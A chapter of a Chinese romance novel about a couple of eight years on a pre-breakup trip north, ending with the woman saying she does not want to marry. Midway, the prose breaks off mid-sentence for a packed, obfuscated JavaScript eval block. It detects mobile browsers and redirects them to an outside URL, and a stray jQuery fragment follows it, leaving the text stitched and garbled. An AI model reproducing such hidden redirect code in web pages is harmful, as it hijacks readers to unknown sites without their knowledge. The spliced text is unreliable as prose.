“师傅，去不去火炬街？”简瑜拉开出租车的车门，探头问。
师傅正把胳膊肘倚在车窗那里抽烟，听到声响，才慢悠悠回过头：“去啊，上车。”
简瑜打开后备箱，闻平清自然而然的接过她手里的箱子，帮她把箱子放了上去。
这次简瑜带的行李有19.7斤，差一点就超重了。
在托运柜台看到显示的数字时，她觉得和闻平清在家里发生的那场争执，在此刻显得毫无意义。她捏着机票和身份证回头对闻平清说：“我都说了不会超重。”
闻平清的情绪倒是没什么起伏，说出来的话还是一股子说教味：“不要老抱有侥幸心理。”
简瑜“切”了声，没再接他的话。
行李安置好后，两人坐上了出租车的后座。
出租车相对狭小，闻平清要稍微佝偻着腰，才能在颠簸时不被撞到头。相反，简瑜坐在他的身边，显得整个人娇小无比。
司机是个地道的本地人，话腔里充斥着浓浓的北方味儿。
他从后视镜瞄了二人一眼，热络的和他们搭上了话：“从哪儿来我们这儿的啊？”
闻平清不善交际，和师傅联络感情这事自然而然落到了简瑜头上，简瑜报了个地名——一座南方城市。师傅乍一听：“好地方啊，那地儿我去过一次，有山有水可好了。”
简瑜笑了下：“还行吧。”
北方人很健谈：“我们这儿也好玩，有海，大片大片的海，看天气预报，这几天还要下雪。那到时候下了雪，又老好看了。”
闻平清却意外的搭了话：“下雪的话，景点都还能去吗？”
师傅说：“没问题啊，除了岛不能上之外，其他都可以，不过要是赶上下大雪，咱这地儿车就少了，没司机敢开。”
闻平清看了会儿窗外：“要是包您车多少钱一天啊？”
师傅被问愣住了，包车那可算是来了大活，刚刚被车里的暖气，熏出来的那一点儿瞌睡虫一下子就消散了，他坐直了身板，略有些骄傲：“别人那可都是350、380一天，我就给你们算280一天，良心价。”
“他们有些挣黑心钱，我不挣，我都是这个价。”
说了一大通话，末了，师傅总结了一句——“别和其他人说，他们要知道我报这么低的价，那是扰乱市场了。”
简瑜躲在围巾后笑，看了师傅一眼，又看了闻平清一眼。
手机在口袋里震动了两下，简瑜脱下手套，拿出手机解锁，微信多了两条消息。她点开来看，是何文舟发来的消息。
——你今天请假了？
——还是睡过了？
简瑜没回，退出了微信。
车窗外，寒风凛冽。
这是一场计划之外的旅行，至少在她和闻平清循规蹈矩的人生里，是一场偶然事件。
昨天早晨这会儿，她还在温暖的写字楼里，扮演着一名喝着热美式的都市丽人的角色。而今天，她就来到了一个体感温度为负数的北方城市，坐在去民宿的出租车上，和司机大叔相谈甚欢，有一种努力在长辈面前扮演着乖顺晚辈的感觉。
这种感觉很奇妙，但也很快被打破。
师傅的话匣子一旦打开，一路上便没停过。
他开始八卦后面的二人：“你们在处对象吧？结婚了没？”
简瑜看了闻平清一眼，师傅问这个问题的时候，他正好侧着头在看窗外，简瑜没看见他脸上的表情。
暖空气在车内的温度冷了两秒，没人接话，甚至有些尴尬。正当简瑜准备开口打破这份沉寂时，闻平清开了口：“还没。”
他们的确还没结婚。
师傅没觉出这份尴尬，因为它只弥漫于二人间。
他接着自说道：“处多久啦？喜欢就得赶紧娶回家，我当年和我老婆处对象，我就想赶紧把她娶回家，看哪个都像是情敌。”
简瑜将头扭向一边，显然是不愿接话的态度，闻平清只好接过了这项和师傅搭话的重任。
他说：“八年。”
从闻平清的二十岁，到他的二十八岁。
从简瑜的十九岁，到她的二十七岁。
说者无意，听者有心。
简瑜相较一开始，多了些沉默，她索性把整张脸都埋进了围巾里开始假寐，直到后面，她似乎真的进入了半梦半醒。
—
机票、酒店、包括请假，都是昨晚一个小时内搞定的。
简瑜用了五天的年假，连带着周末两天，总共七天。
闻平清前两年从公司离了职，转为了自由职业者，和朋友一起开了一家自己的小工作室，主做潮玩。副业是自媒体人，自己拍拍短视频，也不用和谁请假，这一周他只是短暂的暂停了手头上的一切工作安排。
简瑜定了一间在房子里就能看到海的民宿。
闻平清买了两人来回的机票。
他们又花一小时，收拾好了各自的行李。
简瑜的行李总是很多，光衣服、鞋子她就带了大半个行李箱，剩下的化妆品、护肤品、卷发棒、ccd这些零碎的东西，她都通通塞进了闻平清的行李箱。
因为工作特殊，她需要随时随地回复消息，她还带上了平板、电脑。
就差把整个家都搬来了。
反观闻平清的行李，寥寥才半个行李箱。
他没那么多要带的东西，只带了几套换洗的衣服，还有两双鞋。
说是收拾了一个小时，其实到最后都是闻平清帮简
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765508|174566||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瑜收拾的。包括衣服鞋子的搭配，还有那些瓶瓶罐罐的整理以及出片道具的归纳。
八年，足以将一个人完完全全融入进另一个人的生活。
他们从没有过这种说走就走的旅行。
不是简瑜不想，是闻平清总会提前做好充足的旅行规划，细致到哪一天去哪一家店吃饭，几点前去哪里打卡拍照，都会事无巨细的整理好。
但是这次，闻平清问简瑜要不要来一次分手前的旅行时。
简瑜鬼使神差的答应了。
飞机真的是一个奇妙的交通工具，能把人快速的从一个城市送往另一个城市。
时间也是奇妙的东西，能把人快速的从稚嫩推向成熟。
他们决定分手，在意料之外。
简瑜曾经想过，要是自己的生命中没有了闻平清这个人，她会怎样？
她可能会痛哭流涕，可能会一蹶不振，也可能会再也不会爱了。
但是真当他们面对面坐下来，聊着关于他们的未来时，她的心情竟然是前所未有的平静。
双方家长坐在一张桌上，聊着两人铁板钉钉的婚事时，那会儿她在想什么？
好像是在想，她真的做好了从简瑜变成闻太太的准备了吗？准备好和闻平清组成一个家庭，准备好放弃自己的大好职业生涯，为他生儿育女了吗？
她坐在圆桌旁，像是身处地窖，浑身冰凉。
不远处和父母讲话的闻平清，也变得逐渐模糊。
简瑜再醒来是在医院，闻平清和两家父母都围在病床前。
身体没什么大事，只是有些贫血，一下子上了头就在饭桌上晕倒了。她醒来，第一反应竟然是庆幸，还好，还好自己晕倒了。
身旁的五个人她只留下了闻平清。
医院的病房充斥着一股消毒水的味道，身上的蓝白横条病号服和白色的薄被意外的有些搭。简瑜低头沉默了会儿，才敢抬头看闻平清。
闻平清的外表这些年来都没怎么变，一如当年他们在大学校园里初见时的样子。
趁着送走两家父母的功夫，他给简瑜买了个热水袋上来，这会儿已经灌满了热水，放在她打点滴的那只手里，暖意从手心传向四肢。
简瑜不知道该怎么开口。
或许哪种开口，都是无力的辩解，苍白的很。
同时也都是刺向闻平清的一把刀。
闻平清忽然开了口：“有什么话，想说吗？”
他看向病床上的简瑜，眼神清透，简瑜被烫的心里发怵，但是她知道，错过这次机会，可能很久没有办法再开口了。
于是她迎上闻平清的目光。
“闻，我想我不能兑现和你的承诺了。”
“我不想结婚。”